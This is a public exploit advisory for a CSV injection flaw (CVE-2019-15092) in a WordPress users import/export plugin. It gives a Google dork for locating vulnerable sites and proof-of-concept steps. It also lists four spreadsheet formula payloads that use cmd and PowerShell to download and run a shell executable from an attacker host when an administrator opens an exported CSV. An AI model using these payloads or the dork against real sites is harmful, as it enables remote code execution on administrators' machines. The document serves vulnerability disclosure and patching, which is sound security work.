WordPress Plugin Import Export WordPress Users 1.3.1 – CSV Injection

# Exploit Title: WordPress Plugin Import Export WordPress Users <= 1.3.1 - CSV Injection

# Exploit Author: Javier Olmedo

# Contact: @jjavierolmedo

# Website: https://sidertia.com

# Date: 2018-08-22

# Google Dork: inurl:"/wp-content/plugins/users-customers-import-export-for-wp-woocommerce"

# Vendor: WebToffee

# Software Link: https://downloads.wordpress.org/plugin/users-customers-import-export-for-wp-woocommerce.1.3.1.zip

# Affected Version: 1.3.1 and before

# Active installations: +20,000

# Patched Version: update to 1.3.2 version

# Category: Web Application

# Platform: PHP

# Tested on: Win10x64

# CVE: 2019-15092

# References:

# https://hackpuntes.com/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection/

# https://medium.com/bugbountywriteup/cve-2019-15092-wordpress-plugin-import-export-users-1-3-0-csv-injection-b5cc14535787

# 1. Technical Description

# WordPress Plugin Import Export WordPress Users version 1.3.1. and before are affected by Remote Code

# Execution through the CSV injection vulnerability. This allows any application user to inject commands

# as part of the fields of his profile and these commands are executed when a user with greater privilege

# exports the data in CSV and opens that file on his machine.

# 2. Vulnerable code

# The function do_export() from WF_CustomerImpExpCsv_Exporter class does not check if fields beggings

# with (=, +, -, @) characters so the fields name, surname, alias or display_name are vulnerable to CSV Injection.

# 3. Proof Of Concept (PoC)

# 3.1 Login with subscriber user and change the fields First name, Surname and Alias with payloads.

# 3.2 Login with a high privileges user and export all users to CSV.

# 3.3 When the user with high privileges logs in to the application, export data in CSV and opens the

# generated file, the command is executed and the shell will run open on the machine.

# 4. Payloads

=cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

+cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

-cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

@cmd|'/C powershell IEX(wget http://ATTACKER/shell.exe)'!A0

# 5. Timeline

# 15, august 2019 - [RESEARCHER] Discover

# 15, august 2019 - [RESEARCHER] Report to Webtoffee support

# 16, august 2019 - [DEVELOPER] More information request

# 16, august 2019 - [RESEARCHER] Detailed vulnerability report

# 19, august 2019 - [DEVELOPER] Unrecognized vulnerability

# 22, august 2019 - [RESEARCHER] Public disclosure